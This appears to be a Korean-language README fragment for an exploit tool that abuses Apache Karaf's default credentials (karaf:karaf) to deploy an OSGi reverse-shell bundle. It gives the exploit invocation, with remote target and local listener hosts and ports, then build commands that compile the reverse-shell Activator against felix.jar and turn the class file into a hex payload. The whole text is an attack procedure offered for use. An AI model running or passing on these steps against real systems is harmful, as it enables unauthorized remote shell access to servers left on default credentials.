
Apache Karaf를 기본 자격 증명으로 악용하여 OSGi 리버스 셸 페이로드를 배포함으로써 원격 셸 접근 권한을 획득합니다.
python exploit.py --help
python exploit.py --rhost=192.168.0.133 --rport=1337 --lhost=192.168.0.100 --lport=4444 --creds=karaf:karaf
mkdir -p ./revshell/lib
org.apache.felix.main.distribution-7.0.5/bin/felix.jar를 ./revshell/lib/felix.jar로 복사합니다.cd revshell/bundle
javac -d ../classes -cp ../lib/felix.jar com/visionspace/osgi/revshell/Activator.java
Hex 값은 익스플로잇의 리버스 셸을 구성합니다.
./class_to_payload.py revshell/classes/com/visionspace/osgi/revshell/Activator.class